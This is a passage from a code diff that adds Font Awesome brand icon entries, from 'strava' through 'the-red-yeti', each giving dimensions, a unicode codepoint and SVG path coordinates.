5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z"], + "strava": [384, 512, [], "f428", "M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z"], + "stripe": [640, 512, [], "f429", "M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z"], + "stripe-s": [384, 512, [], "f42a", "M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z"], + "studiovinari": [512, 512, [], "f3f8", "M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z"], + "stumbleupon": [512, 512, [], "f1a4", "M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z"], + "stumbleupon-circle": [496, 512, [], "f1a3", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z"], + "superpowers": [448, 512, [], "f2dd", "M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z"], + "supple": [640, 512, [], "f3f9", "M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z"], + "suse": [640, 512, [], "f7d6", "M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z"], + "swift": [448, 512, [], "f8e1", "M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z"], + "symfony": [512, 512, [], "f83d", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z"], + "teamspeak": [512, 512, [], "f4f9", "M244.2 346.79c2.4-12.3-12-30-32.4-48.7-20.9-19.2-48.2-39.1-63.4-46.6-21.7-12-41.7-1.8-46.3 22.7-5 26.2 0 51.4 14.5 73.9 10.2 15.5 25.4 22.7 43.4 24 11.6.6 52.5 2.2 61.7-1 11.9-4.3 20.1-11.8 22.5-24.3zm205 20.8a5.22 5.22 0 0 0-8.3 2.4c-8 25.4-44.7 112.5-172.1 121.5-149.7 10.5 80.3 43.6 145.4-6.4 22.7-17.4 47.6-35 46.6-85.4-.4-10.1-4.9-26.69-11.6-32.1zm62-122.4c-.3-18.9-8.6-33.4-26-42.2-2.9-1.3-5-2.7-5.9-6.4A222.64 222.64 0 0 0 438.9 103c-1.1-1.5-3.5-3.2-2.2-5 8.5-11.5-.3-18-7-24.4Q321.4-31.11 177.4 13.09c-40.1 12.3-73.9 35.6-102 67.4-4 4.3-6.7 9.1-3 14.5 3 4 1.3 6.2-1 9.3C51.6 132 38.2 162.59 32.1 196c-.7 4.3-2.9 6-6.4 7.8-14.2 7-22.5 18.5-24.9 34L0 264.29v20.9c0 30.8 21 50.4 51.8 49 7.7-.3 11.7-4.3 12-11.5 2-77.5-2.4-95.4 3.7-125.8C92.1 72.39 234.3 5 345.3 65.39 411.4 102 445.7 159 447.6 234.79c.8 28.2 0 56.5 0 84.6 0 7 2.2 12.5 9.4 14.2 24.1 5 49.2-12 53.2-36.7 2.9-17.1 1-34.5 1-51.7zm-159.6 131.5c36.5 2.8 59.3-28.5 58.4-60.5-2.1-45.2-66.2-16.5-87.8-8-73.2 28.1-45 54.9-22.2 60.8z"], + "telegram": [496, 512, [], "f2c6", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm121.8 169.9l-40.7 191.8c-3 13.6-11.1 16.9-22.4 10.5l-62-45.7-29.9 28.8c-3.3 3.3-6.1 6.1-12.5 6.1l4.4-63.1 114.9-103.8c5-4.4-1.1-6.9-7.7-2.5l-142 89.4-61.2-19.1c-13.3-4.2-13.6-13.3 2.8-19.7l239.1-92.2c11.1-4 20.8 2.7 17.2 19.5z"], + "telegram-plane": [448, 512, [], "f3fe", "M446.7 98.6l-67.6 318.8c-5.1 22.5-18.4 28.1-37.3 17.5l-103-75.9-49.7 47.8c-5.5 5.5-10.1 10.1-20.7 10.1l7.4-104.9 190.9-172.5c8.3-7.4-1.8-11.5-12.9-4.1L117.8 284 16.2 252.2c-22.1-6.9-22.5-22.1 4.6-32.7L418.2 66.4c18.4-6.9 34.5 4.1 28.5 32.2z"], + "tencent-weibo": [384, 512, [], "f1d5", "M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z"], + "the-red-yeti": [512, 512, [], "f69d", "M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 